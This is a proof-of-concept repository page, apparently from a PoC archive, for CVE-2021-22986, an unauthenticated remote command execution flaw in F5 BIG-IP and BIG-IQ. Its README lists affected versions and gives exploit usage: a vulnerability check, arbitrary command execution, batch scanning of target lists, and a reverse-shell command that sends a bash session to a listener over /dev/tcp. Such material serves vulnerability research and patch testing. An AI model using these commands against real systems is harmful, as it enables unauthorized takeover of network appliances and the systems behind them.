CVE-2021-22986 PoC — F5 BIG-IP 代码问题漏洞

Source

Associated Vulnerability

Description

CVE-2021-22986 & F5 BIG-IP RCE

Readme

## Vuln Impact

This vulnerability allows for unauthenticated attackers with network access to the iControl REST interface, through the BIG-IP management interface and self IP addresses, to execute arbitrary system commands, create or delete files, and disable services. This vulnerability can only be exploited through the control plane and cannot be exploited through the data plane. Exploitation can lead to complete system compromise. The BIG-IP system in Appliance mode is also vulnerable.

## Vuln Product

- F5 BIG-IQ 6.0.0-6.1.0
- F5 BIG-IQ 7.0.0-7.0.0.1
- F5 BIG-IQ 7.1.0-7.1.0.2
- F5 BIG-IP 12.1.0-12.1.5.2
- F5 BIG-IP 13.1.0-13.1.3.5
- F5 BIG-IP 14.1.0-14.1.3.1
- F5 BIG-IP 15.1.0-15.1.2
- F5 BIG-IP 16.0.0-16.0.1

## Vunl Check

**Basic usage**

```
python3 CVE_2021_22986.py
```

![use](img/use.png)

**Vuln check**

```
python3 CVE_2021_22986.py -v true -u https://192.168.174.164
```

![verify](img/verify.png)

**command execute:**

```
python3 CVE_2021_22986.py -a true -u https://192.168.174.164 -c id
```

![command_exec](img/exec.png)

```
python3 CVE_2021_22986.py -a true -u https://192.168.174.164 -c whoami
```

![exec_2](img/exec_2.png)

**batch scan**

```
python3 CVE_2021_22986.py -s true -f check.txt
```

![batch_scan](img/vul_scan.png)

**Reserve Shell**

```
python3 CVE_2021_22986.py -r true -u https://192.168.174.164 -c "bash -i >&/dev/tcp/192.168.174.129/8888 0>&1"
```

![reverse_shell](img/reverse_shell.png)

![reverse_shell_ok](img/reverse_shell_ok.png)


## New POC
```
python3 newpoc.py https://192.168.174.164
```
![newpoc](img/new_poc.png)

## Reference

https://support.f5.com/csp/article/K03009991

https://github.com/safesword/F5_RCE

https://attackerkb.com/topics/J6pWeg5saG/k03009991-icontrol-rest-unauthenticated-remote-command-execution-vulnerability-cve-2021-22986

https://github.com/Udyz/CVE-2021-22986-SSRF2RCE

File Snapshot

 [4.0K]  /data/pocs/8e408bff169342c8ff6c4d36b12aca2dd2e5bcf7
├── [5.8K]  CVE_2021_22986.py
├── [2.5M]  f5.rest.jar
├── [4.0K]  img
│   ├── [ 35K]  exec_2.png
│   ├── [ 35K]  exec.png
│   ├── [ 28K]  new_poc.png
│   ├── [292K]  reverse_shell_ok.png
│   ├── [ 34K]  reverse_shell.png
│   ├── [ 28K]  use.png
│   ├── [ 31K]  verify.png
│   └── [ 36K]  vul_scan.png
├── [3.6K]  newpoc.py
├── [1.9K]  README.md
└── [962K]  Technical Analysis_BIGIP_ATTKB.pdf

1 directory, 13 files

Remarks